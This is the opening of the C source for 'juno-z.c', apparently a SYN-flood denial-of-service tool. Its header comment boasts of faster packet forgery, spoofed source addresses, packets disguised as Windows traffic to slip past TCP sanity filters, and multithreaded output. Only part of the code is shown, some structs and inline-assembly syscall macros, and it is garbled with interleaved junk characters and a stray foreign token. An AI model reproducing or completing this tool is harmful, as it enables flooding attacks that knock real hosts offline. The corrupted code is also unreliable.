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/* juno-z.c 1.01f by Sorcerer, questions/comments: nijen@mail.ru * this is a rewrite of the juno.c syn flooder, some notable improvements: - faster packet creation (about 4x faster), although the kernel does most of the work, so dont expect 4x as much output. The speed is partially due to a new checksum technique that Ive created, that is, to use a 16-bit sum counter, and use add-with-carry ops on it, instead of using a 32-bit counter, then a double-fold at the end. The routine also adds in fields of the tcp header and pseudo header as it sets up the packet. This is an improvement over the standard method which is to prep the packet and then sum it in a completely separate series of operations. - sane source ips, they only come from legitimate class As, they never come from the same class as the 黑吧, and they never end in 0 or 255 - some packet forgery problems fixed, they should look very much like an ms-windows system created them now, thus preventing tcp-sanity filters - now multithreaded, uses up to 16 threads for max output on SMP systems - better delay processing, no longer limited to 1/100th of a second, now does up to 1/1000000000th of a second - now uses direct system calls, thus saving the time to bounce through library routines. This also eliminates the need for using .h files, should now compile and run on fbsd with linux portability in the kernel - performance lists (on program exit) fixed, juno.c and old juno-z.c files used 1 second timing, this version uses 1/1000000th of a second */ F. ]. }4 \( q8 P! @4 |#define NULL ((void *)0)( y5 _2 t4 V# X0 F7 d; Tstruct timespec {long sec,nsec;};% A2 R( I6 L0 X4 }7 h F4 L) l2 o lstruct timeval {long tv_sec,tv_usec;}; , v6 f8 t% @; N#define api_1(a) ({int r;asm volatile(int $128:=a(r):a(a));r;})$ M! o1 }4 o7 n8 v/ B( L0 F8 S#define api_2(a,b) ({int r;asm volatile(int $128:=a(r):a(a),b(b));r;})( {#define api_3(a,b,c) ({int r;asm volatile(int $128:=a(r):a(a),b(b),c(c));r;}); #define api_4(a,b,c,d) ({int r;as